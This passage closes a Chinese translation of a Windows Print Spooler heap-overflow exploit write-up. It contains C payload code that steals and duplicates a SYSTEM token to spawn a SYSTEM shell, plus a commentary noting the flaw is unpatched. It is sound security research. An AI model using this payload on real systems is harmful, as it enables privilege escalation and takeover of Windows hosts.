    /* spawn cmd.exe (Session 0 for this variant) */
    STARTUPINFOW si = { .cb = sizeof si }; PROCESS_INFORMATION pi = {0};
    WCHAR sysDir[MAX_PATH], cmd[MAX_PATH]; GetSystemDirectoryW(sysDir, MAX_PATH);
    swprintf_s(cmd, MAX_PATH, L\"%s\\\\cmd.exe\", sysDir);
    CreateProcessW(NULL, cmd, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

    hFile = CreateFileA(\"C:\\\\Windows\\\\Temp\\\\EXPLOITED.txt\", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
                        0, NULL);
    if (hFile != INVALID_HANDLE_VALUE) { WriteFile(hFile, buf, pos, &written, NULL);
        CloseHandle(hFile); }
}

第二个 payload 与第一个几乎一致,只是它把新进程搬出 Session 0、送到交互桌面,让我们得到一个看得见、敲得动的 shell。确切地说有两处不同:一个小辅助过程 pick\_interactive\_session,以及 shellcode\_func 例程的一段收尾:

/* duplicate our SYSTEM token, retarget it to the interactive session, and launch
   cmd.exe on that desktop. buf/pos are the SAME proof buffer the token dump above
   already filled, so these lines land in EXPLOITED.txt too. */

HANDLE hSysToken = NULL, hNewToken = NULL; BOOL shellOk = FALSE;
STARTUPINFOW si = { .cb = sizeof si, .lpDesktop = L\"WinSta0\\\\Default\" };
PROCESS_INFORMATION pi = {0};
WCHAR sysDir[MAX_PATH], cmd[MAX_PATH]; GetSystemDirectoryW(sysDir, MAX_PATH);
swprintf_s(cmd, MAX_PATH, L\"%s\\\\cmd.exe\", sysDir);
pos += sprintf_s(buf+pos, sizeof(buf)-pos, \"\\r\
[*] Spawning SYSTEM shell in user session...\\r\
\");

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hSysToken)) {
    if (DuplicateTokenEx(hSysToken, TOKEN_ALL_ACCESS, NULL,
                         SecurityImpersonation, TokenPrimary, &hNewToken)) {
        DWORD sessionId = pick_interactive_session();         // the ACTIVE user session
        pos += sprintf_s(buf+pos, sizeof(buf)-pos, \"[*] Target session: %lu\\r\
\", sessionId);
        SetTokenInformation(hNewToken, TokenSessionId, &sessionId, sizeof(DWORD));
        shellOk = CreateProcessAsUserW(hNewToken, NULL, cmd, NULL, NULL, FALSE,
                                       CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
    }
}

if (shellOk) {
    pos += sprintf_s(buf+pos, sizeof(buf)-pos, \"[+] SYSTEM shell created! PID: %lu\\r\
\",
                     pi.dwProcessId);
    BYTE stu[256]; DWORD srl = 0; LPWSTR ssid = NULL;        // confirm the spawned shell's SID
    if (GetTokenInformation(hNewToken, TokenUser, stu, sizeof(stu), &srl) &&
        ConvertSidToStringSidW(((TOKEN_USER *)stu)->User.Sid, &ssid)) {
        pos += sprintf_s(buf+pos, sizeof(buf)-pos, \"[+] Shell token SID: %S\\r\
\", ssid); LocalFree(ssid);
    }
    CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
}

spoolsv.exe 运行在 Session 0,那里没有可见桌面,在里面简单调一个 CreateProcess 完全看不见。所以必须把 SYSTEM token 复制成一个新的主 token,用 pick\_interactive\_session 例程选出交互会话,把复制 token 的 TokenSessionId 设为该会话,再以 WinSta0\Default 为目标调 CreateProcessAsUserW 函数。

不出所料,必须选活动会话而不是物理控制台——我这里用的是 Hyper-V 增强会话里的虚拟机。选了活动会话之后,cmd.exe 就出现在真实桌面上。最后跑一下 whoami 命令,看到的就是 NT AUTHORITY\SYSTEM。

11. 参考资料

读者可以通过以下来源进一步了解本文提到的主题:

  • MS-RPRN, Print System Remote Protocol(Microsoft Open Specifications):https://learn.microsoft.com/en-us/openspecs/windows\_protocols/ms-rprn/
  • EnumForms / AddForm / FORM\_INFO\_1 / FORM\_INFO\_2(Microsoft Learn, Printing):https://learn.microsoft.com/en-us/windows/win32/printdocs/enumforms
  • Windows Internals, 7th edition(Parts 1 & 2),Yosifovich、Ionescu、Russinovich、Solomon 与 Allievi 著——RPC、服务与 Segment Heap:https://www.microsoftpressstore.com/store/windows-internals-part-1-system-architecture-processes-9780735684188 与 https://www.microsoftpressstore.com/store/windows-internals-part-2-9780135462409
  • The Windows Segment Heap 与 VS allocator——Windows 10+ 用户态堆内部机制:参见 Windows Internals 中关于 \_SEGMENT\_HEAP、\_HEAP\_VS\_CONTEXT 和 \_HEAP\_VS\_CHUNK\_HEADER 的章节。
  • Saar Amar 的 segment-heap 研究文章:https://saaramar.github.io/Publications/
  • CVE-2021-34527(PrintNightmare):MS-RPRN 攻击面的经典案例:https://www.microsoft.com/en-us/msrc/blog/2021/07/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability
  • CVE-2021-1675:Windows Print Spooler 提权/远程代码执行(PrintNightmare 的 LPE 一半),CVE-2021-34527 的姊妹篇:https://github.com/cube0x0/CVE-2021-1675
  • OpenPrinter、ClosePrinter、DeleteForm(Microsoft Learn, Printing),EnumForms 与 AddForm 这对函数的同伴:https://learn.microsoft.com/en-us/windows/win32/printdocs/openprinter
  • [MS-RPCE] Remote Procedure Call Protocol Extensions——NDR / NDR64,以及 conformant array 上界与 RPC\_X\_BAD\_STUB\_DATA 背后的 stub 数据一致性检查:https://learn.microsoft.com/en-us/openspecs/windows\_protocols/ms-rpce/fb1ee8ad-3d98-4a17-a4d6-3d1693626410
  • Mark Vincent Yason, “Windows 10 Segment Heap Internals,” Black Hat USA 2016——Segment Heap 及其 VS(variable-size)分配器的权威参考(groom 所用):https://www.blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals-wp.pdf
  • Privilege Constants(SeDebugPrivilege、SeImpersonatePrivilege 等),Microsoft Learn:https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
  • MITRE ATT&CK T1134.001, Access Token Manipulation: Token Impersonation/Theft——payload 的 DuplicateTokenEx + CreateProcessAsUserW 技术:https://attack.mitre.org/techniques/T1134/001/
  • MITRE ATT&CK T1055.001, Process Injection: Dynamic-link Library Injection——注入器的 VirtualAllocEx + WriteProcessMemory + CreateRemoteThread(LoadLibraryW) 序列:https://attack.mitre.org/techniques/T1055/001/
  • Debugging Tools for Windows(WinDbg / cdb),Microsoft Learn——用于崩溃栈与 RVA 断点捕获:https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/
  • Winbindex:https://winbindex.m417z.com/
  • CWE-122: Heap-based Buffer Overflow:https://cwe.mitre.org/data/definitions/122.html
  • CWE-787: Out-of-bounds Write:https://cwe.mitre.org/data/definitions/787.html
  • CWE-20: Improper Input Validation:https://cwe.mitre.org/data/definitions/20.html
  • CVSS v3.1 Specification Document(FIRST):https://www.first.org/cvss/v3.1/specification-document
  • Exploiting Reversing(ER)系列第 06–09 篇(Alexandre Borges 著):https://www.blackstormsecurity.com/research/ 与 https://exploitreversing.com/

12. 结语

本文从讨论内核 minifilter 漏洞和八个 exploit 的 ERS\_06–ERS\_08,转到用户态的 SYSTEM 服务,但沿用了同样的纪律来组织各节的讨论与推导。当然,这次漏洞没有影响 Canary 版 Windows 上的整个系统或服务本身,但在满足前提条件的情况下,它允许我们从 Administrator 账户提升到 SYSTEM。一方面这个漏洞相当简单;另一方面,它为读者提供了面向未来利用场景的现成思路和指引。虽然之前没明说,但有一条教训值得所有做安全研究的人记住:别把 DoS 当成最终答案,也别把它当成写 primitive 能换来的最小成果。第二条教训在前几篇里已经强调过——即便是一个受限的写 primitive,也可能正是攻陷一个系统所需要的一切。

想保持联系的话:

  • X:@ale\_sp\_brazil
  • Bluesky:@alexandreborges.bsky.social
  • 研究文章:https://www.blackstormsecurity.com/research/
  • 博客:https://exploitreversing.com/

Keep developing exploits,下一篇文章见!

——Alexandre Borges

译者解读

这个 bug 的本质:信任了声明,没有验证现实。 EnumFormsW 的契约是“调用方声明 cbBuf,服务端按声明分配和使用”。整套二次调用协议(先问大小、再给缓冲)建立在这个契约可信的前提上。漏洞的全部逻辑就一句话:服务端用 pForm + cbBuf 推出字符串区起点,却从不检查这个起点是否落在调用方真实分配的内存里。客户端 winspool.drv 里有校验,但那只是“前门保安”——绕过前门(进程内直连 spoolss!EnumFormsW),后面整条 InternalEnumForms → CopyIniFormToFormInfo → PackStrings → memcpy 链上没有任何一处重新验证。这是典型的“校验只在信任边界做一次、内部组件之间不再复核”的结构,RPC 接口、IPC handler、内核 ioctl 里都常见同类问题。

为什么 RPC 打不通、DLL 注入反而打得通。 这大概是本文最容易被误读的一点,值得展开:NDR 编组在接口定义层面把 pForm 数组和 cbBuf 绑死了——线上传输的字节数就是 cbBuf 声明的数,你没法“声明 2GB、实际传 64KB”。这不是 bug,是 RPC 层的设计恰好堵住了这条远程路。作者也只测了一次 Windows Server 2025 的远程路径(NDR stub 拒绝了超大缓冲),自己都标注了“读者应再验证”。所以利用只能是进程内的:注入 DLL 进 spoolsv,直接拿 spoolss.dll 的导出函数调用——这时 pForm 和 cbBuf 是两个互不约束的栈参数,一个指向小缓冲,一个报大数字。这也决定了这个漏洞的天花板:Admin→SYSTEM,而不是普通用户→SYSTEM。MSRC 的拒收逻辑(需要管理员权限、无远程 PoC)在他们的评分体系里是自洽的;作者也认这个账,把它当作教学案例发布。

16 字节 primitive 的含金量。 利用没有走“砸烂 VS chunk 头”的路线——那会触发 Segment Heap 的异或编码校验,进程当场暴毙。它做的是算术题:cbBuf = needed + (delta - custom_off),让打包字符串的落点恰好跳过 16 字节的 \_HEAP\_VS\_CHUNK\_HEADER,直接压在下一个 SPRAY\_OBJ 的第一个字段上——一个我们 spray 出来的、值为 NULL 的函数指针。写的内容同样可控:AddFormW 植入的表单名就是将来被 memcpy 的字节。地址含 NULL 宽字符会截断字符串?那就先 VirtualAlloc 扫一个低位不含零字的可执行页,放一个 mov rax, imm64; jmp rax 的 trampoline。整套打法里每个环节都在解决一个具体约束,没有一步是玄学。

两点提醒。 其一,文中 Canary 版的 InternalEnumForms 已经出现了整数溢出保护、总量复核、字段类型范围检查等新代码(主流版没有),说明微软在逐步收紧这条路径;但现在没修,不代表以后不修,复现要趁早。其二,两个 exploit 变体都收了尾:删除植入表单、释放全部 spray 块、spoolsv 存活。这种“利用完不留痕”的工程习惯,比 exploit 本身更值得学——目标进程崩一次,隐蔽性就全没了。

RE学习——PrintSpooler缺失边界检查" 网络安全文章

RE学习——PrintSpooler缺失边界检查"

本文分析WindowsPrintSpooler服务中EnumFormsW函数缺失边界检查导致的堆溢出漏洞,利用前提为Administrator权限加SeDebugPrivilege,通过DLL注入spoolsv进程实现从admin提权至SYSTEM。作者2026年3月报告微软但被关闭工单,截至发文时主流和Canary渠道Windows仍可复现。文章详述groom、corrupt、control、execute四阶段利用流程,提供完整exploit源码,可作为Windows用户态堆溢出教学样本。
交换机级联和交换机堆叠,这两个概念很容易混淆" 网络安全文章

交换机级联和交换机堆叠,这两个概念很容易混淆"

本文介绍交换机级联与堆叠的区别。级联是通过网线或光纤连接多台独立交换机以扩展网络端口,常见方式包括普通网口、光纤及多级级联,需关注链路带宽、避免二层环路、VLAN配置及故障影响。堆叠则是将多台物理交换机组成为逻辑设备统一管理。两者核心区别在于设备关系、管理方式及连接要求,理解此差异有助于网络架构设计与故障排查。
评论:0   参与:  0